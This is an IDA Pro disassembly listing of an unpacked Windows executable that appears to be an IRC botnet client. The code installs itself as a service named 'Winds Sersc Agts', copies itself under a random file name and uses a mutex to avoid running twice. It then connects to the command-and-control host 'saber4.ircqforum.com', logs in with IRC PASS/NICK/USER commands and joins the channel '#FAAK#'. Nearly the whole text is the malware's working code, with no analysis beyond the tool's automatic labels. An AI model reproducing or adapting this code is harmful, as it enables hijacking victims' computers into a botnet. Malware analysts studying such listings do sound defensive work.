;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	AE200834E372DE72AF319E94904D977C

; File Name   :	u:\work\ae200834e372de72af319e94904d977c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_41835A+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindsSerscAgts ; "Winds Sersc Agts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB608
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB678
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB5B8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB630
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416644p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E59C
		call	dword_4CB6EC
		call	sub_40B2C0
		call	dword_4CB5AC
		call	dword_4CB5AC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D808
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2690AE2h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2680D3Bh
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D800
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418685
		pop	ecx
		mov	dword_4CB390, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB394, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B13
		push	2
		call	dword_4CB700
		push	7530h
		push	offset aQsfposs	; "qsfposs"
		push	ebx
		push	ebx
		nop
		call	near ptr 26B01F6h
		push	eax
		call	near ptr 26B0152h
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB5C4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2690AE2h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 26B0000h
		nop
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_42910C
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42910C[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26A0ED2h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 26A0DB0h
		nop


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 26A08EAh
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2690F24h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418294
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26A0DB0h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D808
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26A087Ah
		push	eax
		push	esi
		push	100000h
		call	near ptr 26A02EDh
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2680D3Bh
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2690F24h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB5AC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB974, 2
		jle	short loc_401562
		mov	eax, dword_4DB978
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26B0152h
		push	esi
		nop
		call	near ptr 2680920h
		mov	eax, dword_4DB978
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2690F24h
		mov	eax, dword_4DB978
		push	dword ptr [eax+8]
		nop
		call	near ptr 26A024Dh


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB724, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	0B80h
		push	ebx
		push	offset dword_43D810
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419A01
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	2
		call	sub_40B33F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		mov	dword_4CB508, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB41C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB45C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4F0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB398
		mov	dword_4CB504, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB504, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2690F24h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E8, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E8
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2C0


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB5AC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E5A8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E59C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6EC
		call	sub_40AB23
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2690F24h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415221
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6EC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB500, bl
		jz	short loc_40199A
		push	offset byte_4CB500
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2D
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6EC
		push	1388h
		nop
		call	near ptr 2690F24h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2690F24h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
